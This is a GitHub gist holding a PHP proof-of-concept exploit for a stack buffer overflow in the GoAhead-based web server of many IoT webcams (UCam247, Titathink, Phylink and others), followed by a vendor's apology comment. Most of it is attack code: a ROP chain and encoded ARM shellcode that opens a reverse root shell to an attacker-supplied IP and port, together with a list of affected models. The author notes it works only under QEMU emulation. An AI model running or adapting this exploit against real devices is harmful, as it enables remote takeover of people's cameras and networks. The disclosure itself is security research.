Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@Wack0
Last active December 13, 2023 08:16
Show Gist options
  • Star 47 You must be signed in to star a gist
  • Fork 21 You must be signed in to fork a gist
  • Save Wack0/a3435cafa5eb372b190f971190a506b8 to your computer and use it in GitHub Desktop.
Save Wack0/a3435cafa5eb372b190f971190a506b8 to your computer and use it in GitHub Desktop.
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others IoT webcams : remote code exec: reverse shell PoC. (works only in qemu usermode)
<?php
/*
Updated version, 2016-12-02: fixed shellcode so it *actually* works on QEMU
usermode emulation (seems I pushed an old version), and removed debug output.
-------------------------
NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION!
If anyone wants to fix this, go ahead (no pun intended).
However, I don't have a vulnerable product and am unwilling to acquire one.
-------------------------
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others
remote code exec: reverse shell PoC.
This exploits a stack overflow in the websSecurityHandler() function of
the modded goahead webserver used by many different IoT cameras.
Basically, code like the following is included near the beginning of
the function:
-----
// original code
type = websGetRequestType(wp);
password = websGetRequestPassword(wp);
userid = websGetRequestUserName(wp);
flags = websGetRequestFlags(wp);
// added code
if (query != NULL) {
sprintf(querysearch, "%s=", "basic"); // querysearch is a 256-byte char array on the stack
char* queryval = strstr(query,querysearch);
if (queryval != NULL) {
char* ptr = &queryval[strlen(querysearch)];
int i = 0;
while ((ptr[i] != NULL) && (ptr[i] != '&')) {
queryval_cpy[i] = ptr[i]; // queryval_cpy is a 256-byte char array on the stack
i++;
}
queryval_cpy[i] = 0;
strcpy(debase64,""); // debase64 is a 256-byte char array on the stack. also, wtf?
websDecode64(debase64,queryval_cpy,256);
userid = strtok(debase64,":");
password = strtok(0,""); // again, wtf?
}
}
if (!strcmp(path,"/")) {
return 0;
}
// original code
accessLimit = umGetAccessLimit(path);
if (accessLimit == NULL) {
return 0;
}
-----
I'm pretty sure you can see the vuln here, that big glaring inline
strcpy onto the stack.
On exit of the function, r11 points to an address on the stack that's
0x3C8 past the start of the queryval_cpy variable. This can be used if
needed, however, thanks to the large list of bad bytes (other than 0x0,
and 0x26, 0x23 ('#') is also a bad byte, as is 0x20, and 0x1F and below
along with a couple of other bytes get corrupted to 0x5F or 0xCF.
Thanks to this complication, this exploit uses a small ROP chain to get
shellcode execution in thumb mode, and so the shellcode can be located
directly after the ROP chain to save space.
Also, the shellcode has to be encoded, and an encoder had to be made
that did not use any bad bytes. More information about that below.
This also means that you cannot use certain IPs and ports for your
reverse shell. You can of course rectify this if required by increasing
the length of the encoded bytes, and storing the sockaddr struct
encrypted in addition to the shellcode itself.
Please note that to avoid bad bytes, the shellcode itself sets the first
16 bits of the sockaddr struct (on entry the first 16 bits is a
placeholder value, ie, 0xFFFF).
Full list of *known* affected models:
UCam247: NC308W/NC328W (UCam247i/247i-HD/247i-1080HD/247-HDO1080)
Phylink: 213W/223W/233W/325PW/336PW
Titathink: Babelens/TT520G/TT520PW/TT521PW/TT522PW/TT610W/TT620CW/TT620W
TT630CW/TT630W/TT730LPW/TT730PW
Basically the entire (still supported?) product line ;)
YCam: Any device running a firmware dated 2014-04-06 or above
Anbash: NC223W/NC322W/NC325W
Trivision: 228WF/239WF/240WF/326PW/336PW
Netvision: NCP2255I/NCP2475E
Affected models which use a different libc and therefore need a port:
(I'll let someone else do that, anyone want to take on the challenge?)
UCam247: NC328SW (UCam247-HDO1080Plus)
Phylink: 325SPW/325SPW
*/
echo <<<END
_____ ______________ ____ ______________ ____ ....:: .. .......
T Y T ______ T T \ T T _____ T T T .: :::' .: .:'
| | | l____j |\_/\_/\ \| | l___j | | |.: .::' .: .. .:'
| | | _____j / _ | _ ____j__j | .::' .::...::. .:'
l_________j T \_/\_/| |\ |_______j____ | .::' :: .:'
| | l___j \___j | l__j |.:'' ... :: .:'
l___j |________j::...: .:'
[ p l u g a n d v i e w r e m o t e s h e l l s ]
[*] UPwned247: UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others
remote code execution - reverse rootshell PoC! <3
[*] Another *Ring of Lightning* production, all work done by slipstream/RoL!
https://twitter.com/TheWack0lian :: https://rol.im/chat/
END;
/* Shellcode is based on midnitesnake's reverse shell Thumb PIC.
It's been modified and crypted here, to avoid hitting bad bytes.
(The shellcode decrypter was done by myself, and again avoids hitting bad
bytes.)
(The shellcode is crypted with XOR 0x60, this constant was chosen just
because no bad bytes are hit when using it.)
It's not the smallest shellcode in the world, with lots of padding. Again
because of the bad bytes.
Known bad bytes: <= 0x20, 0x23, 0x26.
Bad bytes here either terminate the string or get corrupted to 0x5F.
*/
$shellcode = array(
0x24,0xa4,0x38,0x21,
0x22,0x4b,0x27,0x68,
0x5f,0x40,0x27,0x60,
0x21,0x3c,0x25,0x34,
0x21,0x31,0x25,0x39,
0xf7,0xd1,0x3d,0xe0,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
0x60,0x60,0x60,0x60,
0x62,0x40,0x61,0x41,
0xf2,0x7a,0x6f,0x62,
0x79,0x57,0x60,0xbf,
0x66,0x7c,0x6a,0xc1,
0x62,0x42,0x6a,0xe0,
0x70,0x42,0x62,0x57,
0x60,0xbf,0x5f,0x47,
0x62,0x41,0x50,0x7c,
0x60,0xbf,0x61,0x59,
0x9b,0xb5,0x66,0xc0,
0xf2,0x7a,0x65,0xd4,
0x9f,0x7b,0x60,0xcf,
0x59,0x7c,0x6b,0x47,
0x60,0xbf,0x5f,0x7c,
0xff,0xff
);
$shellcode = implode('',array_map(function($a) { return chr($a); },$shellcode));
$rop = pack('V',
0xF67BF954) // mov r0,r11 ; add sp,sp,#0x64 ; ldmfd sp!,{r4-r11, lr} ; bx lr
.str_repeat('A',0x64) // stack filler
.pack('V*',
0x34343434, // r4
0x35353535, // r5
0x36363636, // r6
0x37373737, // r7
0x38383838, // r8
0x39393939, // r9
0x30303030, // r10
0x31313131, // r11
0xf67b99a0, // pop {r2, r3, r4, lr} ; bx lr
0x32323232, // r2
0x21212122, // r3
0x34343434, // r4
0xf67b95cc, // add r0, r3, r0 ; pop {r4, r5, r6, lr} ; bx lr
0x34343434, // r4
0x35353535, // r5
0x36363636, // r6
0xf67b99a0, // pop {r2, r3, r4, lr} ; bx lr
0x32323232, // r2
0xdededcff, // r3 // this makes r3 point directly after the rop chain. change this if your rop chain is bigger.
0x34343434, // r4
0xf67b95cc, // add r0, r3, r0 ; pop {r4, r5, r6, lr} ; bx lr
0x34343434, // r4
0x35353535, // r5
0x36363636, // r6
0xf67b7a94 // mov r3, r0 ; mov r0, sp ; mov lr, pc ; bx r3
);
// quick self checks
function show_usage($a) {
echo '[*] Usage: '.$a.' <host> <reverse shell IP> <reverse shell port>...'."\r\n";
die();
}
function pwn($host) {
global $shellcode;
global $rop;
echo "[+] Crafting request for $host ...\r\n";
$url = 'http://' . $host . '/?basic=';
$url .= str_repeat('A',0x100);
$url .= '4444555566667777888899990000'; // r4 to r10 values
$url .= $rop;
$url .= $shellcode;
echo "[+] Sending request, make sure you have netcat up...\r\n";
$ctx = stream_context_create(array('http'=>array('timeout'=>10)));
@file_get_contents($url,false,$ctx);
}
if ($argc < 3) show_usage($argv[0]);
$host = $argv[1];
$ip = array_map(function($a) { return (int)$a; },explode('.',$argv[2]));
if (count($ip) < 4) show_usage($argv[0]);
$port = (int) $argv[3];
if ($port == 0) show_usage($argv[0]);
$shellcode .= pack('nCCCC',$port,$ip[0],$ip[1],$ip[2],$ip[3]) . "/bin/sh";
for ($i = 0; $i < 0x21; $i++) {
if (strpos($rop.$shellcode,chr($i)) !== false)
die("[-] Shellcode or ROP chain has an invalid byte in it!");
}
foreach (array('&','#') as $i) {
if (strpos($rop.$shellcode,$i) !== false)
die("[-] Shellcode or ROP chain has an invalid byte in it!");
}
pwn($host);
@titathink
Copy link

Hi Wack0,

Thank you for your discussion and let us know how a serious mistake we had made! We're so sorry for any inconveniene caused by such bugs! We're now putting this issue in the superlatively level, our programmers are trying their best to troubleshoot such bugs in entire code. We also want to inform everyone that such bug is found in old platform(We'll fix it and release a new firmware soon). In the new platform (New main chip + New firmware), such bug will not exist. So please remain confident for Titathink cameras.

Sorry again.
Titathink.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment